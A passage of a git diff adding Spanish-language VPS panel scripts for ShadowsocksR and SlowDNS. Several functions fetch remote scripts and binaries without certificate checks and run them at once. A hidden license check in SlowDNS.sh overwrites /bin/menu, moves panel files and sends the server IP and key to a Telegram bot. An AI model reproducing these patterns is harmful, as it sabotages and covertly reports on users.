"https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" && bash /tmp/appex.sh 'uninstall' + echo && echo "La desinstalacion de LotServer esta completa!" && echo + fi +} +# BBR +Configure_BBR(){ +clear +msg -bar + echo -e " Que vas a hacer? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar BBR +———————— +${Green_font_prefix}2.${Font_color_suffix} Iniciar BBR +${Green_font_prefix}3.${Font_color_suffix} Dejar de BBR +${Green_font_prefix}4.${Font_color_suffix} Ver el estado de BBR" +msg -bar +echo -e "${Green_font_prefix} [Por favor, preste atencion antes de la instalacion] ${Font_color_suffix} +$(msg -bar) +1. Abra BBR, reemplace, hay un error de reemplazo (despues de reiniciar) +2. Este script solo es compatible con los nucleos de reemplazo de Debian / Ubuntu. OpenVZ y Docker no admiten el reemplazo de los nucleos. +3. Debian reemplaza el proceso del kernel [Desea finalizar el kernel de desinstalacion], seleccione ${Green_font_prefix} NO ${Font_color_suffix}" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" bbr_num +msg -bar + [[ -z "${bbr_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + if [[ ${bbr_num} == "1" ]]; then + Install_BBR + elif [[ ${bbr_num} == "2" ]]; then + Start_BBR + elif [[ ${bbr_num} == "3" ]]; then + Stop_BBR + elif [[ ${bbr_num} == "4" ]]; then + Status_BBR + else + echo -e "${Error} Por favor numero(1-4)" && exit 1 + fi +} +Install_BBR(){ + [[ ${release} = "centos" ]] && echo -e "${Error} Este script de instalacion del sistema CentOS. BBR !" && exit 1 + BBR_installation_status + bash "${BBR_file}" +} +Start_BBR(){ + BBR_installation_status + bash "${BBR_file}" start +} +Stop_BBR(){ + BBR_installation_status + bash "${BBR_file}" stop +} +Status_BBR(){ + BBR_installation_status + bash "${BBR_file}" status +} +BackUP_ssrr(){ +clear +msg -bar +msg -ama "$(fun_trans "HERRAMIENTA DE BACKUP SS-SSRR -BETA")" +msg -bar +msg -azu "CREANDO BACKUP" "RESTAURAR BACKUP" +msg -bar +rm -rf /root/mudb.json > /dev/null 2>&1 +cp /usr/local/shadowsocksr/mudb.json /root/mudb.json > /dev/null 2>&1 +msg -azu "$(fun_trans "Procedimiento Hecho con Exito, Guardado en:")" +echo -e "\033[1;31mBACKUP > [\033[1;32m/root/mudb.json\033[1;31m]" +msg -bar +} +RestaurarBackUp_ssrr(){ +clear +msg -bar +msg -ama "$(fun_trans "HERRAMIENTA DE RESTAURACION SS-SSRR -BETA")" +msg -bar +msg -azu "Recuerde tener minimo una cuenta ya creada" +msg -azu "Copie el archivo mudb.json en la carpeta /root" +read -p " ►► Presione enter para continuar ◄◄" +msg -bar +msg -azu "$(fun_trans "Procedimiento Hecho con Exito")" +read -p " ►► Presione enter para Reiniciar Panel SSRR ◄◄" +msg -bar +mv /root/mudb.json /usr/local/shadowsocksr/mudb.json +Restart_SSR +msg -bar +} + +# Otros +Other_functions(){ +clear +msg -bar + echo && echo -e " Que vas a realizar? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Configurar BBR + ${Green_font_prefix}2.${Font_color_suffix} Velocidad de configuracion (ServerSpeeder) + ${Green_font_prefix}3.${Font_color_suffix} Configurar LotServer (Rising Parent) + ${Tip} Sharp / LotServer / BBR no es compatible con OpenVZ! + ${Tip} Speed y LotServer no pueden coexistir! +———————————— + ${Green_font_prefix}4.${Font_color_suffix} Llave de bloqueo BT/PT/SPAM (iptables) + ${Green_font_prefix}5.${Font_color_suffix} Llave de desbloqueo BT/PT/SPAM (iptables) +———————————— + ${Green_font_prefix}6.${Font_color_suffix} Cambiar modo de salida de registro ShadowsocksR + —— Modo bajo o verboso.. + ${Green_font_prefix}7.${Font_color_suffix} Supervisar el estado de ejecucion del servidor ShadowsocksR + —— NOTA: Esta funcion es adecuada para que el servidor SSR finalice los procesos regulares. Una vez que esta funcion esta habilitada, sera detectada cada minuto. Cuando el proceso no existe, el servidor SSR se inicia automaticamente. +———————————— + ${Green_font_prefix}8.${Font_color_suffix} Backup SSRR + ${Green_font_prefix}9.${Font_color_suffix} Restaurar Backup" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" other_num + [[ -z "${other_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + if [[ ${other_num} == "1" ]]; then + Configure_BBR + elif [[ ${other_num} == "2" ]]; then + Configure_Server_Speeder + elif [[ ${other_num} == "3" ]]; then + Configure_LotServer + elif [[ ${other_num} == "4" ]]; then + BanBTPTSPAM + elif [[ ${other_num} == "5" ]]; then + UnBanBTPTSPAM + elif [[ ${other_num} == "6" ]]; then + Set_config_connect_verbose_info + elif [[ ${other_num} == "7" ]]; then + Set_crontab_monitor_ssr + elif [[ ${other_num} == "8" ]]; then + BackUP_ssrr + elif [[ ${other_num} == "9" ]]; then + RestaurarBackUp_ssrr + else + echo -e "${Error} Por favor numero [1-9]" && exit 1 + fi + +} +#ProhibidoBT PT SPAM +BanBTPTSPAM(){ + wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh banall + rm -rf ban_iptables.sh +} +#Desbloquear BT PT SPAM +UnBanBTPTSPAM(){ + wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh unbanall + rm -rf ban_iptables.sh +} +Set_config_connect_verbose_info(){ +clear +msg -bar + SSR_installation_status + [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser No, por favor, compruebe!" && exit 1 + connect_verbose_info=`${jq_file} '.connect_verbose_info' ${config_user_file}` + if [[ ${connect_verbose_info} = "0" ]]; then + echo && echo -e "Modo de registro actual: ${Green_font_prefix}Registro de errores en modo simple${Font_color_suffix}" +msg -bar + echo -e "yes para cambiar a ${Green_font_prefix}Modo detallado (registro de conexin + registro de errores)${Font_color_suffix}?[y/N]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny + [[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n" + if [[ ${connect_verbose_info_ny} == [Yy] ]]; then + ssr_connect_verbose_info="1" + Modify_config_connect_verbose_info + Restart_SSR + else + echo && echo " Cancelado ..." && echo + fi + else + echo && echo -e "Modo de registro actual: ${Green_font_prefix}Modo detallado (conexion de conexion + registro de errores)${Font_color_suffix}" +msg -bar + echo -e "yes para cambiar a ${Green_font_prefix}Modo simple ${Font_color_suffix}?[y/N]" + stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny + [[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n" + if [[ ${connect_verbose_info_ny} == [Yy] ]]; then + ssr_connect_verbose_info="0" + Modify_config_connect_verbose_info + Restart_SSR + else + echo && echo " Cancelado ..." && echo + fi + fi +} +Set_crontab_monitor_ssr(){ +clear +msg -bar + SSR_installation_status + crontab_monitor_ssr_status=$(crontab -l|grep "ssrmu.sh monitor") + if [[ -z "${crontab_monitor_ssr_status}" ]]; then + echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}No monitoreado${Font_color_suffix}" +msg -bar + echo -e "Ok para abrir ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (Cuando el proceso R lado SSR R)[Y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" crontab_monitor_ssr_status_ny + [[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="y" + if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then + crontab_monitor_ssr_cron_start + else + echo && echo " Cancelado ..." && echo + fi + else + echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}Abierto${Font_color_suffix}" +msg -bar + echo -e "Ok para apagar ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (procesar servidor SSR)[y/N]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" crontab_monitor_ssr_status_ny + [[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="n" + if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then + crontab_monitor_ssr_cron_stop + else + echo && echo " Cancelado ..." && echo + fi + fi +} +crontab_monitor_ssr(){ + SSR_installation_status + check_pid + if [[ -z ${PID} ]]; then + echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Detectado que el servidor ShadowsocksR no esta iniciado, inicie..." | tee -a ${ssr_log_file} + /etc/init.d/ssrmu start + sleep 1s + check_pid + if [[ -z ${PID} ]]; then + echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Fallo el inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1 + else + echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Inicio de inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1 + fi + else + echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] El proceso del servidor ShadowsocksR se ejecuta normalmente..." exit 0 + fi +} +crontab_monitor_ssr_cron_start(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak" + echo -e "\n* * * * * /bin/bash $file/ssrmu.sh monitor" >> "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh monitor") + if [[ -z ${cron_config} ]]; then + echo -e "${Error} Fallo el arranque del servidor ShadowsocksR!" && exit 1 + else + echo -e "${Info} El servidor ShadowsocksR esta ejecutando la monitorizacion del estado con exito!" + fi +} +crontab_monitor_ssr_cron_stop(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh monitor") + if [[ ! -z ${cron_config} ]]; then + echo -e "${Error} Fallo la detencion del servidor ShadowsocksR!" && exit 1 + else + echo -e "${Info} La supervision del estado de ejecucion del servidor de ShadowsocksR se detiene correctamente!" + fi +} +Update_Shell(){ +clear +msg -bar + echo -e "La version actual es [ ${sh_ver} ], Comienza a detectar la ultima version ..." + sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github" + [[ -z ${sh_new_ver} ]] && sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github" + [[ -z ${sh_new_ver} ]] && echo -e "${Error} Ultima version de deteccion !" && exit 0 + if [[ ${sh_new_ver} != ${sh_ver} ]]; then + echo -e "Descubrir nueva version[ ${sh_new_ver} ], Esta actualizado?[Y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" yn + [[ -z "${yn}" ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + cd "${file}" + if [[ $sh_new_type == "github" ]]; then + wget -N --no-check-certificate https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh && chmod +x ssrrmu.sh + fi + echo -e "El script ha sido actualizado a la ultima version.[ ${sh_new_ver} ] !" + else + echo && echo " Cancelado ..." && echo + fi + else + echo -e "Actualmente es la ultima version.[ ${sh_new_ver} ] !" + fi + exit 0 + +} +# Mostrar el estado del menu +menu_status(){ +msg -bar + if [[ -e ${ssr_folder} ]]; then + check_pid + if [[ ! -z "${PID}" ]]; then + echo -e " VPS-MX By @Kalix1\n Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} y ${Green_font_prefix}Iniciado${Font_color_suffix}" + else + echo -e " Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} pero ${Red_font_prefix}no comenzo${Font_color_suffix}" + fi + cd "${ssr_folder}" + else + echo -e " Estado actual: ${Red_font_prefix}No Instalado${Font_color_suffix}" + fi +} +check_sys +[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} el script no es compatible con el sistema actual ${release} !" && exit 1 +action=$1 +if [[ "${action}" == "clearall" ]]; then + Clear_transfer_all +elif [[ "${action}" == "monitor" ]]; then + crontab_monitor_ssr +else +echo -e "\033[1;37m =====>>►► 🐲 PANEL VPS•MX 🐲 ◄◄<<===== \033[1;37m" +msg -bar +echo -e " Controlador de ShadowSock-R ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix} +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar ShadowsocksR + ${Green_font_prefix}2.${Font_color_suffix} Actualizar ShadowsocksR + ${Green_font_prefix}3.${Font_color_suffix} Desinstalar ShadowsocksR + ${Green_font_prefix}4.${Font_color_suffix} Instalar libsodium (chacha20) +————————————— + ${Green_font_prefix}5.${Font_color_suffix} Verifique la informacion de la cuenta + ${Green_font_prefix}6.${Font_color_suffix} Mostrar la informacion de conexion + ${Green_font_prefix}7.${Font_color_suffix} Agregar/Modificar/Eliminar la configuracion del usuario + ${Green_font_prefix}8.${Font_color_suffix} Modificar manualmente la configuracion del usuario + ${Green_font_prefix}9.${Font_color_suffix} Borrar el trafico usado +—————————————— + ${Green_font_prefix}10.${Font_color_suffix} Iniciar ShadowsocksR + ${Green_font_prefix}11.${Font_color_suffix} Detener ShadowsocksR + ${Green_font_prefix}12.${Font_color_suffix} Reiniciar ShadowsocksR + ${Green_font_prefix}13.${Font_color_suffix} Verificar Registro de ShadowsocksR +————————————— + ${Green_font_prefix}14.${Font_color_suffix} Otras Funciones + ${Green_font_prefix}15.${Font_color_suffix} Actualizar Script +$(msg -bar) + ${Green_font_prefix}16.${Font_color_suffix}${Red_font_prefix} SALIR" + + menu_status + msg -bar + stty erase '^H' && read -p "Porfavor seleccione una opcion [1-16]:" num + msg -bar +case "$num" in + 1) + Install_SSR + ;; + 2) + Update_SSR + ;; + 3) + Uninstall_SSR + ;; + 4) + Install_Libsodium + ;; + 5) + View_User + ;; + 6) + View_user_connection_info + ;; + 7) + Modify_Config + ;; + 8) + Manually_Modify_Config + ;; + 9) + Clear_transfer + ;; + 10) + Start_SSR + ;; + 11) + Stop_SSR + ;; + 12) + Restart_SSR + ;; + 13) + View_Log + ;; + 14) + Other_functions + ;; + 15) + Update_Shell + ;; + 16) + exit 1 + ;; + *) + echo -e "${Error} Porfavor use numeros del [1-16]" + msg -bar + ;; +esac +fi \ No newline at end of file diff --git a/Recursos/menu_inst/SlowDNS.sh b/Recursos/menu_inst/SlowDNS.sh new file mode 100644 index 0000000..e9a6e9e --- /dev/null +++ b/Recursos/menu_inst/SlowDNS.sh @@ -0,0 +1,362 @@ +#!/bin/bash +clear +#${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## +#ADM_inst="/ADMcgh/slow/dnsi" && [[ ! -d ${ADM_inst} ]] && mkdir ${ADM_inst} +#ADM_inst="/ADMcgh/slow/dnsi" && [[ ! -d ${ADM_inst} ]] && mkdir ${ADM_inst} +[[ ! -d /etc/adm-lite/slow/ ]] && mkdir /etc/adm-lite/slow +ADM_slow="/etc/adm-lite/slow/dnsi" && [[ ! -d ${ADM_slow} ]] && mkdir ${ADM_slow} +Key="$(cat /etc/cghkey)" && _Key='/etc/cghkey' +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg +#${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## +#${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## + +#FELICIDADES, NUNCA DEJES DE APRENDER + +_Key='/etc/cghkey' + +clear + +[[ ! -e ${_Key} ]] && exit + +clear +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +[[ -z ${IP} ]] && IP=$(wget -qO- ifconfig.me) +Key="$(cat /etc/cghkey)" +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +[[ ! -d /bin/ejecutar/Ubam ]] && mkdir /bin/ejecutar/Ubam +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' + +cat </bin/menu +clear && clear +echo -e "\n\n\033[1;31m==================================================\n ¡¡ 🚫 KEY BANEADA 🚫 ! CONTACTE Su ADMINISTRADOR! \n==================================================\n ¡¡ FECHA DE BANEO :$(date +%d/%m/%Y) HORA :$(date +%H:%M:%S) \n==================================================\n\n¡¡ ${mss_} \n\n==================================================\n" +echo -e " \e[1;32m --- SI CONSIDERA QUE FUE UN ERROR --- " | pv -qL 60 +echo -e " \e[1;32m -- ${mss_} -- " | pv -qL 60 +echo -e "\n \e[1;93m --- TECLEA \e[1;93m --- \e[1;97mcgh -fix\e[1;93m --- " | pv -qL 50 +echo -e "\n\033[1;31m==================================================\n\n" +#echo "/etc/adm-lite/menu" > /bin/menu && chmod +x /bin/menu +EOF +rm -f /etc/folteto +mv etc/adm-lite/* /bin/ejecutar/Ubam + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${lLaM} DETECCUION EN SlowDNS ${lLaM}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" KEY : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m ${flech} Selecione una Opcion: " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + + +info(){ + clear + nodata(){ + msg -bar + msg -ama " !SIN INFORMACION SLOWDNS!" + read -p "ENTER PARA CONTINUAR" + exit 0 + } + if [[ -e ${ADM_slow}/domain_ns ]]; then + ns=$(cat ${ADM_slow}/domain_ns) + if [[ -z "$ns" ]]; then + nodata + fi + else + nodata + fi + + if [[ -e ${ADM_slow}/server.pub ]]; then + key=$(cat ${ADM_slow}/server.pub) + if [[ -z "$key" ]]; then + nodata + fi + else + nodata + fi + + msg -bar + msg -ama " DATOS DE SU CONECCION SLOWDNS" + msg -bar + msg -ama "Su NameServer: $(cat ${ADM_slow}/domain_ns)" + msg -bar + msg -ama "Su Llave: $(cat ${ADM_slow}/server.pub)" msg -bar + read -p "ENTER PARA CONTINUAR" + } + + drop_port(){ + local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") + local NOREPEAT + local reQ + local Port + unset DPB + while read port; do + reQ=$(echo ${port}|awk '{print $1}') + Port=$(echo {$port} | awk '{print $9}' | awk -F ":" '{print $2}') + [[ $(echo -e $NOREPEAT|grep -w "$Port") ]] && continue + NOREPEAT+="$Port\n" + case ${reQ} in + sshd|dropbear|stunnel4|stunnel|trojan|v2ray|xray|python|python3|openvpn|node|squid|squid3|sslh|snell-ser|ss-server|obfs-serv|trojan-go)DPB+=" $reQ:$Port";; + *) continue;; + esac + done <<< "${portasVAR}" + } + + ini_slow(){ + msg -bra "INSTALADOR SLOWDNS" + drop_port + n=1 + for i in $DPB; do + proto=$(echo $i|awk -F ":" '{print $1}') + proto2=$(printf '%-12s' "$proto") + port=$(echo $i|awk -F ":" '{print $2}') + echo -e " $(msg -verd "[$n]") $(msg -verm2 ">") $(msg -ama " $(echo -e " ${flech} $proto2 "| tr [:lower:] [:upper:])")$(msg -azu "$port")" + drop[$n]=$port + dPROT[$n]=$proto2 + num_opc="$n" + let n++ + done + msg -bar + opc=$(selection_fun $num_opc) + echo "${drop[$opc]}" > ${ADM_slow}/puerto + echo "${dPROT[$opc]}" > ${ADM_slow}/protc + PORT=$(cat ${ADM_slow}/puerto) + PRT=$(cat ${ADM_slow}/protc) + msg -bra " INSTALADOR SLOWDNS " + msg -bar + echo -e " $(msg -ama "Redireccion SlowDns:") $(msg -verd "$(echo -e "${PRT}" | tr [:lower:] [:upper:])") : $(msg -verd "$PORT") $(msg -ama " -> ") $(msg -verd "5300")" + msg -bar + [[ -e /dominio_NS.txt && ! -e ${ADM_slow}/domain_ns ]] && cp /dominio_NS.txt ${ADM_slow}/domain_ns + [[ -e ${ADM_slow}/domain_ns ]] && NS1=$(cat < ${ADM_slow}/domain_ns) || unset NS1 NS + unset NS + [[ -z $NS1 ]] && { + while [[ -z $NS ]]; do + msg -bar + echo -ne "\e[1;31m TU DOMINIO NS \e[1;37m: " + read NS + tput cuu1 && tput dl1 + done + } || { + msg -bar + echo -e "\e[1;31m TIENES UN DOMINIO NS YA REGISTRADO \e[1;37m " + echo -e "\e[1;32m TU NS ES : ${NS1} \e[1;37m " + echo -e " SI QUIERES UTILIZARLO, SOLO PRESIONA ENTER " + echo -e " CASO CONTRARIO DIJITA TU NUEVO NS " + msg -bar + echo -ne "\e[1;31m TU DOMINIO NS \e[1;37m: " + read NS + [[ -z $NS ]] && NS="${NS1}" + tput cuu1 && tput dl1 + echo "$NS" > ${ADM_slow}/domain_ns + } + echo "$NS" > ${ADM_slow}/domain_ns + echo -e " $(msg -ama "NAME SERVER:") $(msg -verd "$NS")" + msg -bar + chekKEY &> /dev/null 2>&1 + if [[ ! -e ${ADM_inst}/dns-server ]]; then + msg -ama " Descargando binario...." + [[ $(uname -m 2> /dev/null) != x86_64 ]] && { + if wget -O ${ADM_inst}/dns-server https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/SlowDNS/autoStart-ARM &>/dev/null ; then + chmod +x ${ADM_inst}/dns-server + msg -verd "[OK]" + else + msg -verm "[fail]" + msg -bar + msg -ama "No se pudo descargar el binario" + msg -verm "Instalacion cancelada" + read -p "ENTER PARA CONTINUAR" + exit 0 + fi + } || { + if wget -O ${ADM_inst}/dns-server https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/SlowDNS/autoStart-x86-64 &>/dev/null ; then + chmod +x ${ADM_inst}/dns-server + msg -verd "[OK]" + else + msg -verm "[fail]" + msg -bar + msg -ama "No se pudo descargar el binario" + msg -verm "Instalacion canselada" + read -p "ENTER PARA CONTINUAR" + exit 0 + fi + } + msg -bar + fi + [[ -e "${ADM_slow}/server.pub" ]] && pub=$(cat ${ADM_slow}/server.pub) + if [[ ! -z "$pub" ]]; then + echo -ne "$(msg -ama " Usar clave existente [S/N]: ")" + read ex_key + case $ex_key in + s|S|y|Y) tput cuu1 && tput dl1 + echo -e " $(msg -ama "KEY.PUB:") $(msg -verd "$(cat ${ADM_slow}/server.pub)")";; + n|N) tput cuu1 && tput dl1 + rm -rf ${ADM_slow}/server.key + rm -rf ${ADM_slow}/server.pub + ${ADM_inst}/dns-server -gen-key -privkey-file ${ADM_slow}/server.key -pubkey-file ${ADM_slow}/server.pub &>/dev/null + echo -e " $(msg -ama "KE:") $(msg -verd "$(cat ${ADM_slow}/server.pub)")";; + *);; + esac + else + rm -rf ${ADM_slow}/server.key + rm -rf ${ADM_slow}/server.pub + ${ADM_inst}/dns-server -gen-key -privkey-file ${ADM_slow}/server.key -pubkey-file ${ADM_slow}/server.pub &>/dev/null + echo -e " $(msg -ama "KEY.PUB:") $(msg -verd "$(cat ${ADM_slow}/server.pub)")" + fi + msg -bar + msg -azu "..._SLOWDNS ACTIVADO_..." + iptables -I INPUT -p udp --dport 5300 -j ACCEPT + iptables -t nat -I PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 5300 + if screen -dmS slowdns ${ADM_inst}/dns-server -udp :5300 -privkey-file ${ADM_slow}/server.key $NS 127.0.0.1:$PORT ; then + #------------------------- + [[ $(grep -wc "slowdns" /bin/autoboot) = '0' ]] && { + echo -e "netstat -au | grep -w 5300 > /dev/null || { screen -r -S 'slowdns' -X quit; screen -dmS slowdns ${ADM_inst}/dns-server -udp :5300 -privkey-file ${ADM_slow}/server.key $NS 127.0.0.1:$PORT ; }" >>/bin/autoboot + } || { + sed -i '/slowdns/d' /bin/autoboot + echo -e "netstat -au | grep -w 5300 > /dev/null || { screen -r -S 'slowdns' -X quit; screen -dmS slowdns ${ADM_inst}/dns-server -udp :5300 -privkey-file ${ADM_slow}/server.key $NS 127.0.0.1:$PORT ; }" >>/bin/autoboot + } + #crontab -l > /root/cron + #echo "@reboot /bin/autoboot" >> /root/cron + #crontab /root/cron + service cron restart + #------------------------- + msg -verd " Con Exito!!!" + msg -bar + else + msg -verm " Con Fallo!!!" + msg -bar + fi + read -p "ENTER PARA CONTINUAR" + } + + reset_slow(){ + clear + msg -bar + msg -ama " Reiniciando SlowDNS...." + screen -ls | grep slowdns | cut -d. -f1 | awk '{print $1}' | xargs kill + NS=$(cat ${ADM_slow}/domain_ns) + PORT=$(cat ${ADM_slow}/puerto) + if screen -dmS slowdns ${ADM_inst}/dns-server -udp :5300 -privkey-file /root/server.key $NS 127.0.0.1:$PORT ;then + msg -verd " Con exito!!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar + fi + read -p "ENTER PARA CONTINUAR" + } + + stop_slow(){ + clear + msg -bar + msg -ama " Deteniendo SlowDNS...." + if screen -ls | grep slowdns | cut -d. -f1 | awk '{print $1}' | xargs kill ; then + for pidslow in $(screen -ls | grep ".slowdns" | awk {'print $1'}); do + screen -r -S "$pidslow" -X quit + done + [[ $(grep -wc "slowdns" /bin/autoboot) != '0' ]] && { + sed -i '/slowdns/d' /bin/autoboot + } + screen -wipe >/dev/null + msg -verd " Con exito!!!" msg -bar + else + msg -verm " Con fallo!!!" msg -bar + fi + read -p "ENTER PARA CONTINUAR" + } + + remove_slow(){ + stop_slow + rm -rf /ADMcgh/slow/* + } + +while true; do +[[ -e ${ADM_slow}/protc ]] && PRT=$(cat ${ADM_slow}/protc | tr [:lower:] [:upper:]) || PRT='NULL' +[[ -e ${ADM_slow}/puerto ]] && PT=$(cat ${ADM_slow}/puerto) || PT='NULL' +[[ $(ps x | grep dns-server | grep -v grep) ]] && MT=$(msg -verd "ACTIVO!!!" ) || MT=$(msg -verm "INACTIVO!!!") + msg -bar 